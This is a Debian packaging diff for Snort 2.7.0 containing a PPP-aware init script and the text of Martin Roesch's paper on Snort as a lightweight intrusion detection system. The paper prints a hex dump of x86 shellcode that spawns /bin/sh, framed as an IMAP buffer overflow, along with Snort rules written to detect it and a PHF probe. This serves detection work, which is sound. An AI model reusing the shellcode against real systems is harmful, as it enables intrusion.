+#	We remove the stale saved ppp environment and fall back to 2.2).
+# 2.2.1)
+#	We try to figure out the values that are correct and try
+#	to start snort.
+# 2.2.2)
+# 	We warn and won't start.
+
+check_log_dir() {
+# Does the logging directory belong to Snort?
+        # If we cannot determine the logdir return without error
+        # (we will not check it)
+        # This will only be used by people using /etc/default/snort
+        [ -n "$LOGDIR" ] || return 0
+        [ -n "$SNORTUSER" ] || return 0
+        if [ ! -e "$LOGDIR" ] ; then
+                echo -n "ERR: logging directory $LOGDIR does not exist"
+                return 1
+        elif [ ! -d "$LOGDIR" ] ; then
+                echo -n "ERR: logging directory $LOGDIR does not exist"
+                return 1
+        else
+                real_log_user=`stat -c %U $LOGDIR`
+        # An alternative way is to check if the snort user can create
+        # a file there...
+                if [ "$real_log_user" != "$SNORTUSER" ] ; then
+                        echo -n "ERR: logging directory $LOGDIR does not belong to the snort user $SNORTUSER"
+                        return 1
+                fi
+        fi
+        return 0
+}
+
+if ! check_log_dir; then
+        echo "Cannot start $DESC!"
+        exit 1
+fi
+
+if ! [ "$DEBIAN_SNORT_RECURSIVE" ]; then
+	# Acquire lock...
+	trap 'rm -f /var/run/snort.ppp.lock' 0
+	for tries in $(seq 1 10); do
+		mkfifo /var/run/snort.ppp.lock 2>/dev/null && break
+		sleep 1
+	done
+	# Now it's locked or timed out.
+	# In the latter case we assume stale lock.
+fi
+
+# If we are started with ppp environment set...
+if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ]; then
+	echo -n "Starting $DESC: $NAME($PPP_IFACE)"
+
+	PIDFILE=/var/run/snort_$PPP_IFACE.pid
+	ENVFILE=/var/run/snort_$PPP_IFACE.env
+
+	fail="failed (check /var/log/daemon.log)"
+	/sbin/start-stop-daemon --stop --signal 0 --quiet \
+		--pidfile "$PIDFILE" --exec $DAEMON >/dev/null &&
+			fail="already running"
+
+	cd /etc/snort
+	CONFIGFILE=/etc/snort/snort.$PPP_IFACE.conf
+	if [ ! -e $CONFIGFILE ]; then
+		echo "No /etc/snort/snort.$PPP_IFACE.conf, defaulting to snort.conf"
+		CONFIGFILE=/etc/snort/snort.conf
+	fi
+
+	# We intentionally set +e here, thus (new) environment is even
+	# saved, if startup fails - for further startup attempts
+	set +e
+	/sbin/start-stop-daemon --start --quiet --pidfile "$PIDFILE" \
+		--exec $DAEMON -- $COMMON $DEBIAN_SNORT_OPTIONS \
+		-c $CONFIGFILE \
+		-S "HOME_NET=[$PPP_LOCAL/32]" \
+		-i $PPP_IFACE >/dev/null
+	ret=$?
+	set -e
+	case "$ret" in
+		0)
+			echo "."
+			;;
+		*)
+			echo "...$fail."
+			;;
+	esac
+
+	echo "PPPD_PID=$PPPD_PID"    > "$ENVFILE"
+	echo "PPP_IFACE=$PPP_IFACE" >> "$ENVFILE"
+	echo "PPP_LOCAL=$PPP_LOCAL" >> "$ENVFILE"
+
+	exit $ret
+fi
+
+# Else, we are started without ppp environment set...
+
+DEBIAN_SNORT_RECURSIVE=1
+export DEBIAN_SNORT_RECURSIVE
+
+# If we have saved environments, check and probably start them...
+envpattern=/var/run/snort_*.env
+
+# If we are requested to start one special environment...
+test "$1" -a -z "$2" && envpattern=/var/run/snort_"$1".env
+
+myret=0
+got_instance=0
+for env in $envpattern; do
+	# This check is also needed, if the above pattern doesn't match
+	test -f "$env" || continue;
+
+	. "$env"
+
+	# Prevent endless recursion because of damaged environments
+	# Check, if the environment is still valid...
+	if [ "$PPPD_PID" -a "$PPP_IFACE" -a "$PPP_LOCAL" ] &&
+	   kill -0 $PPPD_PID 2>/dev/null &&
+	   ps -p $PPPD_PID | grep -q pppd; then
+		got_instance=1
+
+		export PPPD_PID PPP_IFACE PPP_LOCAL
+		# Because the starup of this particular environment could
+		# fail, we guard it
+		set +e
+		$0 "$@"
+		ret=$?
+		set -e
+		case "$ret" in
+			0)
+				;;
+			*)
+				myret=$(expr "$myret" + 1)
+				;;
+		esac
+	else
+		rm -f "$env"
+	fi
+done
+
+# If we found no saved environments, we don't need to start anything
+if [ "$got_instance" = 0 ]; then
+	echo "No snort instance found to be started!" >&2
+	exit 1
+fi
+
+exit $myret
--- snort-2.7.0.orig/debian/my/lisapaper.txt
+++ snort-2.7.0/debian/my/lisapaper.txt
@@ -0,0 +1,774 @@
+	    Snort - Lightweight Intrusion Detection for Networks
+
+				Martin Roesch
+				Stanford Telecommunications, Inc.
+				roesch@clark.net
+
+ABSTRACT
+
+	Network intrusion detection systems (NIDS) are an important part of any
+network security architecture.  They provide a layer of defense which monitors
+network traffic for predefined suspicious activity or patterns, and alert
+system administrators when potential hostile traffic is detected.  Commercial
+NIDS have many differences, but Information Systems departments must face the
+commonalities that they share such as significant system footprint, complex 
+deployment and high monetary cost.  Snort was designed to address these issues.
+
+Introduction
+
+	Snort fills an important "ecological niche" in the the realm of network
+security: a cross-platform, lightweight network intrusion detection tool that
+can be deployed to monitor small TCP/IP networks and detect a wide variety of
+suspicious network traffic as well as outright attacks.  It can provide
+administrators with enough data to make informed decisions on the proper course
+of action in the face of suspicious activity.  Snort can also be deployed
+rapidly to fill potential holes in a network's security coverage, such as when
+a new attack emerges and commercial security vendors are slow to release new
+attack recognition signatures.  This paper discusses the background of Snort
+and its rules-based traffic collection engine, as well as new and different
+applications where it can be very useful as a part of an integrated network
+security infrastructure.
+
+	Snort is a tool for small, lightly utilized networks.  Snort is useful
+when it is not cost efficient to deploy commercial NIDS sensors.  Modern 
+commercial intrusion detection systems cost thousands of dollars at minimum,
+tens or even hundreds of thousands in extreme cases.  Snort is available under
+the GNU General Public License [GNU89], and is free for use in any environment,
+making the employment of Snort as a network security system more of a network
+management and coordination issue than one of affordability.  
+
+What is "lightweight" intrusion detection?
+
+	A lightweight intrusion detection system can easily be deployed on most
+any node of a network, with minimal disruption to operations.  Lightweight IDS'
+should be cross-platform, have a small system footprint, and be easily 
+configured by system administrators who need to implement a specific security
+solution in a short amount of time.  They can be any set of software tools
+which can be assembled and put into action in response to evolving security
+situations.  Lightweight IDS' are small, powerful, and flexible enough to be 
+used as permanent elements of the network security infrastructure.
+
+	Snort is well suited to fill these roles, weighing in at roughly 100 
+kilobytes in its compressed source distribution.  On most modern architectures
+Snort takes only a few minutes to compile and put into place, and perhaps 
+another ten minutes to configure and activate.  Compare this with many 
+commercial NIDS', which require dedicated platforms and user training to deploy
+in a meaningful way.  Snort can be configured and left running for long 
+periods of time without requiring monitoring or administrative maintenance, and
+can therefore also be utilized as an integral part of most network security 
+infrastructures.
+
+What is Snort?
+
+	Snort is a libpcap-based [PCAP94] packet sniffer and logger that can 
+be used as a lightweight network intrusion detection system (NIDS).  It
+features rules based logging to perform content pattern matching and detect 
+a variety of attacks and probes, such as buffer overflows [ALE96], stealth port
+scans, CGI attacks, SMB probes, and much more.  Snort has real-time alerting 
+capability, with alerts being sent to syslog, Server Message Block (SMB) 
+"WinPopup" messages,  or a separate "alert" file.  Snort is configured using 
+command line switches and optional Berkeley Packet Filter [BPF93] commands. 
+The detection engine is programmed using a simple language that describes per
+packet tests and actions.  Ease of use simplifies and expedites the development
+of new exploit detection rules.  For example, when the IIS Showcode [IISBT99] 
+web exploits were revealed on the Bugtraq mailing list [BTQ99], Snort rules to
+detect the probes were available within a few hours.
+
+Snort vs. The World!
+
+	Snort shares commonalities with both sniffers and NIDS.  Two programs 
+that lend themselves to direct comparison with Snort, tcpdump and Network
+Flight Recorder [NFR97], will be examined and contrasted in this section.
+In many cases, Snort is financially, technically, and/or adminstratively easier
+to implement than other Open Source [OSS98] or commercially available tools.
+
+How is Snort different from tcpdump?
+
+	Snort is cosmetically similar to tcpdump [TCPD91] but is more focused
+on the security applications of packet sniffing.  The major feature that Snort
+has which tcpdump does not is packet payload inspection.  Snort decodes the
+application layer of a packet and can be given rules to collect traffic that
+has specific data contained within its application layer.  This allows Snort to
+detect many types of hostile activity, including buffer overflows, CGI scans,
+or any other data in the packet payload that can be characterized in a unique
+detection fingerprint. 
+
+	Another Snort advantage is that its decoded output display is
+somewhat more user friendly than tcpdump's output.  Snort does not currently 
+lookup host names or port names while running, which is a function that 
+tcpdump can perform.  Snort is focused on collecting packets as quickly as 
+possible and processing them in the Snort detection engine.  Performing 
+run-time host name lookup is not conducive to high performance packet 
+analysis.  Figure 1 shows typical Snort output for a telnet banner display,
+and Figure 2 shows the same packet as displayed by tcpdump.
+
+	Figure 1 - Typical Snort telnet packet display:
+--------------------------------------------------------------------------
+20:59:49.153313 0:10:4B:D:A9:66 -> 0:60:97:7:C2:8E type:0x800 len:0x7D
+192.168.1.3:23 -> 192.168.1.4:1031 TCP TTL:64 TOS:0x10 DF
+***PA* Seq: 0xDF4A6536   Ack: 0xB3A6FD01   Win: 0x446A
+FF FA 22 03 03 E2 03 04 82 0F 07 E2 1C 08 82 04  ..".............
+09 C2 1A 0A 82 7F 0B 82 15 0F 82 11 10 82 13 FF  ................
+F0 0D 0A 46 72 65 65 42 53 44 20 28 65 6C 72 69  ...FreeBSD (elri
+63 2E 68 6F 6D 65 2E 6E 65 74 29 20 28 74 74 79  c.home.net) (tty
+70 30 29 0D 0A 0D 0A                             p0)....
+---------------------------------------------------------------------------
+ 
+	Figure 2 - The same telnet packet as displayed by tcpdump:
+---------------------------------------------------------------------------
+20:59:49.153313 0:10:4b:d:a9:66 0:60:97:7:c2:8e 0800 125: 192.168.1.3.23 >
+192.168.1.4.1031: P 76:147(71) ack 194 win 17514 (DF) [tos 0x10] (ttl 64, 
+id 660)
+                         4510 006f 0294 4000 4006 b48d c0a8 0103
+                         c0a8 0104 0017 0407 df4a 6536 b3a6 fd01
+                         5018 446a d2ad 0000 fffa 2203 03e2 0304
+                         820f 07e2 1c08 8204 09c2 1a0a 827f 0b82
+                         150f 8211 1082 13ff f00d 0a46 7265 6542
+                         5344 2028 656c 7269 632e 686f 6d65 2e6e
+                         6574 2920 2874 7479 7030 290d 0a0d 0a
+---------------------------------------------------------------------------
+
+	One powerful feature that Snort and tcpdump share, is the capability
+to filter traffic with Berkeley Packet Filter (BPF) commands.  This allows
+traffic to be collected based upon a variety of specific packet fields.  For 
+example, both tools may be instructed via BPF commands to process TCP traffic
+only.  While tcpdump would collect all TCP traffic, Snort can utilize its
+flexible rules set to perform additional functions, such as searching out and
+recording only those packets that have their TCP flags set a particular way or
+containing web requests that amount to CGI vulnerability probes.  The SHADOW
+IDS [SHD98] from the Naval Surface Warfare Center is based on tcpdump and uses
+extensive BPF filtering. SHADOW is discussed in more detail near the end of
+this paper.
+
+Snort and NFR
+
+	Perhaps the best comparison of Snort to NFR is the analogy of Snort
+as little brother to NFR's college-bound football hero.  Snort shares some of
+the same concepts of functionality as NFR, but NFR is a more flexible and
+complete network analysis tool.  That said, the little brother idea could be
+extended in that Snort tends to fit into small places and is somewhat more
+"nimble" than NFR.  For example, NFR's packet filtering n-code language is
+a serious, full featured scripting language, while Snort's rules are more one
+dimensional.  On the other hand, writing a Snort rule to detect a new attack
+takes only minutes once the attack signature has been determined.  See 
+Appendix A for an example of a simple web detection rule written in n-code and
+the analogous Snort rule.
+	
+	NFR also has a more complete feature set than Snort, including IP 
+fragmentation reassembly and TCP stream decoding.  These features are essential
+in any commercial product that is meant to perform mission critical intrusion 
+detection, and NFR was the first product which could defeat anti-NIDS attacks 
+outlined by Ptacek and Newsham [PTA98].  Presently, Snort does not implement TCP
+stream reassembly, but future versions will implement this capability.
+Snort currently addresses IP fragmentation with a rule option that sets a
+minimum size threshold for fragmented packets.  This rule option takes 
+advantage of the fact that there is virtually no commercial network equipment
+on the market that fragments packets smaller than 256-bytes.  By setting this 
+threshold value to some reasonable value, say 128-bytes, fragmented packet 
+probes and attacks can be logged and alerts can be sent by Snort automatically.
+Full IP fragment and TCP stream reassembly and analysis will be addressed in 
+later versions of Snort.
+
+Under the Hood
+
+	Snort's architecture is focused on performance, simplicity, and
+flexibility.  There are three primary subsystems that make up Snort: the
+packet decoder, the detection engine, and the logging and alerting subsystem.
+These subsystems ride on top of the libpcap promiscuous packet sniffing
+library, which provides a portable packet sniffing and filtering capability.
+Program configuration, rules parsing, and data structure generation takes place
+before the sniffer section is initialized, keeping the amount of per packet
+processing to the minimum required to achieve the base program functionality.
+
+The packet decoder 
+
+	The decode engine is organized around the layers of the protocol stack
+present in the supported data-link and TCP/IP protocol definitions.  Each
+subroutine in the decoder imposes order on the packet data by overlaying data 
+structures on the raw network traffic.  These decoding routines are called in
+order through the protocol stack, from the data link layer up through the 
+transport layer, finally ending at the application layer.  Speed is emphasized
+in this section, and the majority of the functionality of the decoder consists
+of setting pointers into the packet data for later analysis by the detection
+engine.  Snort provides decoding capabilities for Ethernet, SLIP, and raw (PPP)
+data-link protocols.  ATM support is under development.  
+
+The detection engine
+
+	Snort maintains its detection rules in a two dimensional linked list of
+what are termed Chain Headers and Chain Options.  These are lists of rules that
+have been condensed down to a list of common attributes in the Chain Headers,
+with the detection modifier options contained in the Chain Options.  For
+example, if forty five CGI-BIN probe detection rules are specified in a given
+Snort detection library file, they generally all share common source and
+destination IP addresses and ports.  To speed the detection processing, these
+commonalities are condensed into a single Chain Header and then individual
+detection signatures are kept in Chain Option structures.
+
+	Figure 3 - Rule Chain logical structure
+-------------------------------------------------------------------------------
+  ------------------------            ------------------------            -----
+ | Chain Header           |          | Chain Header           |          | Chai
+ |                        |          |                        |          |
+ | Source IP Address      |          | Source IP Address      |          | Sour
+ | Destination IP Address |--------->| Destination IP Address |--------->| Dest
+ | Source Port            |          | Source Port            |          | Sour
+ | Destination Port       |          | Destination Port       |          | Dest
+ |                        |          |                        |          |
+  ------------------------            ------------------------            -----
+             |                                   |
+             |                                   |
+             |                                   |
+            \|/                                 \|/
+  -----------V---------               -----------V---------
+ | Chain Option        |             | Chain Option        |
+ |                     |             |                     |
+ | Content             |
+ | TCP Flags           |
+ | ICMP Codes/types    |
+ | Payload Size        |
+ | etc.                |
+ |                     |
+  --------------------- 
+             |
+             |
+             |
+            \|/
+  -----------V---------
+ | Chain Option        |
+ |                     |
+ | Content             |
+ | TCP Flags           |
+ | ICMP Codes/types    |
+ | Payload Size        |
+ | etc.                |
+ |                     |
+  --------------------- 
+             |
+             |
+
+-------------------------------------------------------------------------------
+
+	These rule chains are searched recursively for each packet in both
+directions.  The detection engine checks only those chain options which have 
+been set by the rules parser at run-time.  The first rule that matches a 
+decoded packet in the detection engine triggers the action specified in the 
+rule definition and returns.
+
+	A major overhaul of the detection engine is currently in the planning
+and development stage.  The next version of the engine will include the
+capability for users to write and distribute plug-in modules and bind them to
+keywords for the detection engine rules language.  This will allow anyone with
+an appropriate plug-in module to add significant detection functionality to
+Snort and customize the program for specific jobs.
+
+The logging/alerting subsystem
+
+	The alerting and logging subsystem is selected at run-time with command
+line switches.  There are currently three logging and five alerting options.
+The logging options can be set to log packets in their decoded, human readable
+format to an IP-based directory structure, or in tcpdump binary format to a
+single log file.  The decoded format logging allows fast analysis of data
+collected by the system.  The tcpdump format is much faster to record to the
+disk and should be used in instances where high performance is required.
+Logging can also be turned off completely, leaving alerts enabled for even
+greater performance improvements. 
+
+	Alerts may either be sent to syslog, logged to an alert text file in two
+different formats, or sent as WinPopup messages using the Samba smbclient
+program.  The syslog alerts are sent as security/authorization messages that are
+easily monitored with tools such as swatch [SWT93].  WinPopup alerts allow
+event notifications to be sent to a user-specified list of Microsoft Windows
+consoles running the WinPopup software.  There are two options for sending the
+alerts to a plain text file; full and fast alerting.  Full alerting writes the
+alert message and the packet header information through the transport layer
+protocol.  The fast alert option writes a condensed subset of the header
+information to the alert file, allowing greater performance under load than 
+full mode.  There is a fifth option to completely disable alerting, which is 
+useful when alerting is unnecessary or inappropriate, such as when network
+penetrations tests are being performed. 
+
+Writing Snort Rules
+
+	Snort rules are simple to write, yet powerful enough to detect a wide
+variety of hostile or merely suspicious network traffic.  There are three base
+action directives that Snort can use when a packet matches a specified rule
+pattern: pass, log, or alert.  Pass rules simply drop the packet.  Log rules
+write the full packet to the logging routine that was user selected at
+run-time.  Alert rules generate an event notification using the method specified
+by the user at the command line, and then log the full packet using the
+selected logging mechanism to enable later analysis.
+
+	The most basic rules contain only protocol, direction, and the port of 
+interest, such as in Figure 4.
+
+	Figure 4 - A simple Snort rule
+---------------------------------------------------------------------------
+log tcp any any -> 10.1.1.0/24 79
+---------------------------------------------------------------------------
+
+This rule would record all traffic inbound for port 79 (finger) going to 
+the 10.1.1 class C network address space.  
+
+	Snort interprets keywords enclosed in parentheses as "option fields".  
+Option fields are available for all rule types and may be used to generate 
+complex behaviors from the program, such as in Figure 5.  
+
+	Figure 5 - Options allow increased rule complexity  
+---------------------------------------------------------------------------
+alert tcp any any -> 10.1.1.0/24 80 (content: "/cgi-bin/phf"; msg: "PHF
+probe!";)
+---------------------------------------------------------------------------
+
+The rule in Figure 5 would detect attempts to access the PHF service on any
+of the local network's web servers.  If such a packet is detected on the
+network, an event notification alert is generated and then the entire packet
+is logged via the logging mechanism selected at run-time.
+
+	The rule IP address and port specifiers have several features
+available.  The CIDR block netmask may be set to any value between one and
+thirty-two.  Port ranges can be specified using the colon ":" modifier.  For
+example, to monitor all ports upon which the X Windows service may run
+(generally 6000 through 6010), the port range could be specified with the colon
+modifier as shown in Figure 6.
+
+	Figure 6 - An example of port ranges
+---------------------------------------------------------------------------
+alert tcp any any -> 10.1.1.0/24 6000:6010 (msg: "X traffic";)
+---------------------------------------------------------------------------
+
+	Both ports and IP addresses can be modified to match by exception with
+the bang "!" operator, which would be useful in the rule described in Figure 7
+to detect X Windows traffic from sources outside of the network.
+
+	Figure 7 - Matching by exception on the source IP address
+---------------------------------------------------------------------------
+alert tcp !10.1.1.0/24 any -> 10.1.1.0/24 6000:6010 (msg: "X traffic";)
+---------------------------------------------------------------------------
+
+This rule would generate an alert for all traffic originating outside of the
+host network that was bound for internal X Windows service ports.
+
+	Snort version 1.2.1 has fourteen option fields available:
+
+	1. content: Search the packet payload for the a specified pattern.
+
+	2. flags: Test the TCP flags for specified settings.
+
+	3. ttl: Check the IP header's time-to-live (TTL) field.
+
+	4. itype: Match on the ICMP type field.
+
+	5. icode: Match on the ICMP code field.
+
+	6. minfrag: Set the threshold value for IP fragment size.
+
+	7. id: Test the IP header for the specified value.
+
+	8. ack: Look for a specific TCP header acknowledgement number.
+
+	9. seq: Log for a specific TCP header sequence number.
+
+	10. logto: Log packets matching the rule to the specified filename.
+
+	11. dsize: Match on the size of the packet payload.
+
+	12. offset: Modifier for the content option, sets the offset into the
+	            packet payload to begin the content search.
+
+	13. depth: Modifier for the content option, sets the number of bytes 
+	           from the start position to search through.
+
+	14. msg: Sets the message to be sent when a packet generates an event.
+
+	These options may be combined in any manner to detect and classify
+packets of interest.  The rule options are processed using a logical AND
+between them; all of the testing options in a rule must be true in order
+for the rule to generate a "found" response and have the program perform the
+rule action.
+ 
+Rule Development
+
+	Snort is extremely useful for rapidly developing new Snort rules.  The 
+clear and concise manner in which the data is displayed by the tool makes it
+perfect for writing new rules.  The general method for development consists of
+getting the exploit of interest, such as a new buffer overflow, running the
+exploit on a test network with Snort recording all traffic between the target
+and attack hosts, and then analyzing the data for a unique signature and
+condensing that signature into a rule.  Figure 8 shows Snort's view of a
+notional "IMAP buffer overflow" that has just come into widespread use by the
+"script kiddie" community.
+
+	Figure 8 - Notional "IMAP buffer overflow" packet
+--------------------------------------------------------------------------
+052499-22:27:58.403313 192.168.1.4:1034 -> 192.168.1.3:143 
+TCP TTL:64 TOS:0x0 DF
+***PA* Seq: 0x5295B44E   Ack: 0x1B4F8970   Win: 0x7D78
+90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 3B  ...............;
+5E 89 76 08 31 ED 31 C9 31 C0 88 6E 07 89 6E 0C  ^.v.1.1.1..n..n.
+B0 0B 89 F3 8D 6E 08 89 E9 8D 6E 0C 89 EA CD 80  .....n....n.....
+31 DB 89 D8 40 CD 80 90 90 90 90 90 90 90 90 90  1...@...........
+90 90 90 90 90 90 90 90 90 90 90 E8 C0 FF FF FF  ................
+2F 62 69 6E 2F 73 68 90 90 90 90 90 90 90 90 90  /bin/sh.........
+---------------------------------------------------------------------------
+
+	The unique signature data in the application layer is the machine
+code just prior to the /bin/sh text string, as well as the string itself.
+Using this information, a new rule can be developed quickly, such as the one
+defined in Figure 9.
+
+	Figure 9 - Alert rule for the new buffer overflow
+---------------------------------------------------------------------------
+alert tcp any any -> 192.168.1.0/24 143 (content:"|E8C0 FFFF FF|/bin/sh";
+msg:"New IMAP Buffer Overflow detected!";)
+---------------------------------------------------------------------------
+
+	The content field of the rule contains mixed plain text and hex 
+formatted bytecode, which is enclosed in pipes.  At run-time, this data is
+converted into its binary representation, as displayed in the decoded packet
+dump in Figure 8, and then stored in an internal list of rules by Snort.  Thus,
+the rule contained in Figure 9 will raise an alarm any time a packet containing
+the "fingerprint" of the new IMAP buffer overflow is detected.
+
+Writing high performance pattern matching rules
+
+	The current rules system lends itself to high performance under
+most conditions, but there are some general concepts that can be applied when
+writing Snort rules to keep the processing speeds as high as possible.
+Computationally, the content matching option is the most expensive process that
+can be performed in the detection engine.  Accordingly, it is performed after
+all other rule tests.  This fact can be used to advantage by specifying other
+rule options in combination with the content option.  For example, almost all
+requests to web servers have their TCP PUSH and ACK flags set.  Using this
+knowledge, it is relatively easy to write a rule which will perform a simple
+TCP flag test before running the far more computationally intensive pattern
+match test.
+
+	Other options can be combined with the content rules to limit the
+amount of data that must be searched.  The offset and depth keywords were made
+specifically to fulfill this function.  Using these options, the area of the
+packet payload to search for an exploit pattern can be localized.  Care should
+be taken to avoid limiting the search too severely.  For example, many buffer
+overflows use variable offsets to tune the size and placement of the exploit
+machine code.  A Snort rule that has been tuned too tightly to key on a
+specific area of a packet's payload may overlook the real exploit that has been
+shifted to a different area within the packet.  On the other hand, web CGI
+probes and attacks generally all take place at the beginning of the packet
+within the first thirty to fifty bytes.  This can be a great place to optimize
+Snort content searching.
+
+	The actual search pattern used in the content rule is another area
+where performance tuning may take place.  Snort uses a Boyer-Moore [SEDG97] 
+algorithm to perform its pattern matching, which is one of the best algorithms
+available for that task.  It achieves its greatest efficiency in cases where
+the pattern to match consists of non-repeating sets of unique bytes.  For
+example, the Intel x86 architecture uses the hex value 0x90 to indicate a NOP
+in machine code.  Buffer overflows generally use large regions of NOPs to pad
+the actual exploit code and make the return jump calculations easier for the
+exploit programmer.  When specifying content match patterns, it is best to
+avoid including any NOPs in the match pattern, which will otherwise cause the
+Boyer-Moore routine to complete many partial matches before actually finding
+the correct match pattern.
+
+Advanced Snorting
+
+	Snort is a flexible tool with a wide variety of uses.  It is intended 
+to be used in the most classic sense of a network intrusion detection system. 
+It examines network traffic against a set of rules, and alerts administrators
+to suspicious network activity so that they may react appropriately.  There are
+many other areas where Snort can be useful as well.
+
+Shoring up commercial IDS'
+
+	Snort can be used to fill holes in commercial vendor's network-based
+intrusion detection tools, such as when a new attack makes its debut in the
+hacker/cracker community and signature updates are slow to come from the
+vendor.  In this case, Snort may be used to characterize the new attack by
+running it locally on a test network and determining it's signature.  Once the
+signature is written into a snort rule, the BPF command line filtering may be
+used to limit the traffic that Snort analyzes to the service or protocol of
+interest.  Snort can be used as a very specialized detector for a single attack
+or family of attacks in this mode.
+
+	The recent IRDP denial of service attack [IRDP99] revealed by the L0pht
+provides a good example of this concept.  The same day that the attack was
+announced, Snort rules were made available by the user community and these 
+attacks were detectable. 
+
+Passive traps
+
+	Another application to which Snort is very well suited is as a Honeypot
+monitor.  Honeypots are programs or computers that are dedicated to the notion
+of deceiving hostile parties interested in a network.  Most honeypot systems,
+for example Fred Cohen & Associates Deception Toolkit [DTK98], record their
+data at the server level, with a fake "service", such as an FTP server actually
+recording the data sent to it.  The problem with that concept is that the
+services doing the recording have to be started before they will record
+anything.  This means that events such as stealth port scans or binary data
+streams will be missed or garbled on honeypots that don't perform packet level
+monitoring.  Another problem is that the data generated by such a system
+will tend to be complex by its nature.  
+
+	The data coming out of a honeypot requires a skilled analyst to properly
+interpret the results.  Snort can be a great help to the analyst/administrator 
+with its packet classification and automatic alerting functionality.  With
+these capabilities a honeypot can be erected as a stand alone intrusion
+detection mechanism.  It requires no other monitoring or maintenance because
+Snort can be set to record and generate event notification on the first packet
+that arrives at the honeypot.
+
+	Snort can be used to implement another concept that is being advocated
+today; that of "passive traps" [MJR99].  A passive trap uses the "home field
+advantage" that network administrators enjoy when securing their networks.  One
+aspect of this concept is that administrators know which services are 
+<B>not</B> available on their networks.  Snort rules can be written that watch
+for traffic headed for these non-existent services.  Packets which are found to
+be using these ports may be an indication of port scanning, backdoors, or other
+hostile traffic.  For example, a network that is not using TFTP can be
+configured with Snort alert rules for all packets headed to or from any node on
+the network bound for port 69.  This can be a good method for detecting covert
+communications channels such as Loki or backdoors like Back Orifice.  Another
+easy concept to implement to set up pass rules for all of the services known to
+be running on a network and log inbound connections to other ports or port
+ranges.
+
+Shining some light on SHADOW
+
+	SHADOW is designed to be a cheap alternative to commercial NIDS.  As an
+aside, SHADOW was probably the first true lightweight intrusion detection
+system.  tcpdump is used as the sensor in these systems, which are configured
+using often extensive BPF commands.  All traffic that is not filtered out with
+these BPF rules is collected into a single file that can become quite large
+over extended periods of time.  Once the data is collected by the sensor, it is
+post-processed using a variety of external third party tools.  There are some
+limitations to this system, including a complete lack of real-time alerts and a
+lack of good data classification tools to aid the analyst in identifying the
+data produced by the sensor.
+
+	Snort uses the same BPF filter language rules as tcpdump, and can
+be used as a complete replacement for tcpdump sensors in environments where
+SHADOW is the IDS of choice.  The advantages of using Snort as a replacement
+sensor include real-time automatic traffic classification as it is collected
+and real-time alerting.  This allows security events to be detected and acted
+upon by the administrative staff in a more timely manner and log file sizes to
+be reduced significantly.  At the same time, Snort can record the data it
+collects to tcpdump formatted files so that the data generated by the system
+can be post-processed for in depth analysis with existing tools that analysts
+are comfortable using.
+
+Focused monitoring
+
+	"Focused monitoring" is the concept of watching a single critical node
+or service on a network for signs of hostile activity.  For example, the
+Sendmail [ALMN99] SMTP server has an extensive and well known list of
+vulnerabilities and exploits.  A single Snort sensor could be deployed with a
+rule set that covers all known Sendmail attacks and would provide highly
+focused monitoring of that specific traffic on the network.  These rules could
+even be extended to provide a running narrative of all of the commands and
+responses into and out of SMTP servers on the defended network.  This can make
+the network security analysts job somewhat easier by letting the collection
+engine (Snort) describe the normal flow of commands and responses as well as
+the attacks.
+
+	Focused monitoring can be especially useful in instances where existing
+NIDS provide inadequate coverage.  For example, a set of rules that monitor SQL
+database queries to a web or database server could be developed.  This would
+provide more complete coverage of CGI and ODBC SQL attacks and probes than any
+commercial NIDS on the market today.  This concept can be extended to any 
+network communications technology that is under represented by commercial NIDS.
+
+Conclusions
+
+Snort was designed to fulfill the requirements of a prototypical lightweight
+network intrusion detection system.  It has become a small, flexible, and
+highly capable system that is in use around the world on both large and small
+networks.  It has attained its initial design goals and is a fully capable
+alternative to commercial intrusion detection systems in places where it is
+cost inefficient to install full featured commercial systems. 
+
+
+Availability and Requirements
+
+	Snort will run on any platform where libpcap will run.  The current
+version of Snort is 1.2.1, and libpcap is required to compile and run the 
+software.  Snort is known to run on RedHat Linux 5.1/5.2/6.0, Debian Linux,
+MkLinux, S/Linux, HP-UX, Solaris 2.5.1 - 2.7 (x86 and Sparc), x86 
+Free/Net/OpenBSD, M68k NetBSD, and MacOS X.
+
+	Information about snort may be acquired directly from the author's
+web site at http://www.clark.net/~roesch/security.html 
+
+	Snort may be downloaded from the author's web site at
+http://www.clark.net/~roesch/snort-1.2.1.tar.gz
+	
+	There is a slowly growing library of Snort rules available at
+http://www.clark.net/~roesch/snort-lib
+
+Acknowledgements
+
+	Snort originally used Mike Borella's ipgrab program as a development
+template and example for how to properly code libpcap programs and packet
+decoders.  ipgrab can be found at http://www.borella.net.  Mike's code is an
+excellent starting point for any libpcap-based project.
+
+	Ron Gula of Network Security Wizards <http://www.securitywizards.com>
+provided valuable advice on logging methodologies and some of the initial 
+program logic, as well as contributing example rules to the system.
+
+	Ken Williams <jkw@frey.rapidnet.com> has been fantastically 
+supportive throughout the development of Snort, providing encouragement and
+ideas for additional features as well as providing a friendly forum for the
+distribution of Snort.
+
+	The Snort user community has been especially enjoyable to work with,
+providing bug reports, ideas for new development directions, and new rules for
+the library since the program's initial release.  Their support and enthusiasm
+has kept this a vital and growing collaborative project far past what I had 
+imagined was possible!
+
+References
+
+[SHD98] SHADOW, Steven Northcutt et al, Naval Surface Warfare Center 
+Dahlgren Laboratory, 1998. <http://www.nswc.navy.mil/ISSEC/CID/>
+
+[TCPD91] tcpdump, Van Jacobson, Craig Leres and Steven McCanne, Lawrence
+Berkeley National Laboratory, 1991. <http://www-nrg.ee.lbl.gov/>
+
+[PCAP94] libpcap, Van Jacobson, Craig Leres and Steven McCanne, Lawrence 
+Berkeley National Laboratory, 1994. <http://www-nrg.ee.lbl.gov/>
+
+[DTK98] Deception Toolkit, Fred Cohen & Associates, 1998.
+<http://all.net/dtk/dtk.html>
+
+[GNU89] GNU General Public License, Richard Stallman, 1989.
+<http://www.gnu.org/copyleft/gpl.txt>
+
+[BPF93] The BSD Packet Filter:  A New Architecture for User-level Packet 
+Capture, Steven McCanne, Van Jacobson, USENIX Technical Conference
+Proceedings, 1993.
+
+[ALE96] Smashing the Stack for Fun and Profit, Aleph1, Phrack #49, 1996.
+<http://www.phrack.com>
+
+[BTQ99] Bugtraq Mailing List, archives and vulnerability data base are 
+available at Security Focus.
+<http://www.securityfocus.com>
+
+[IISBT99] NT IIS Showcode ASP Vulnerability (Bugtraq ID #167), 
+Parcens/L0pht, May 1999.
+<http://www.securityfocus.com>
+
+[OSS98] The Cathedral and the Bazaar, Eric S. Raymond, 1998.
+<http://www.tuxedo.org/~esr/writings/cathedral-bazaar/>
+
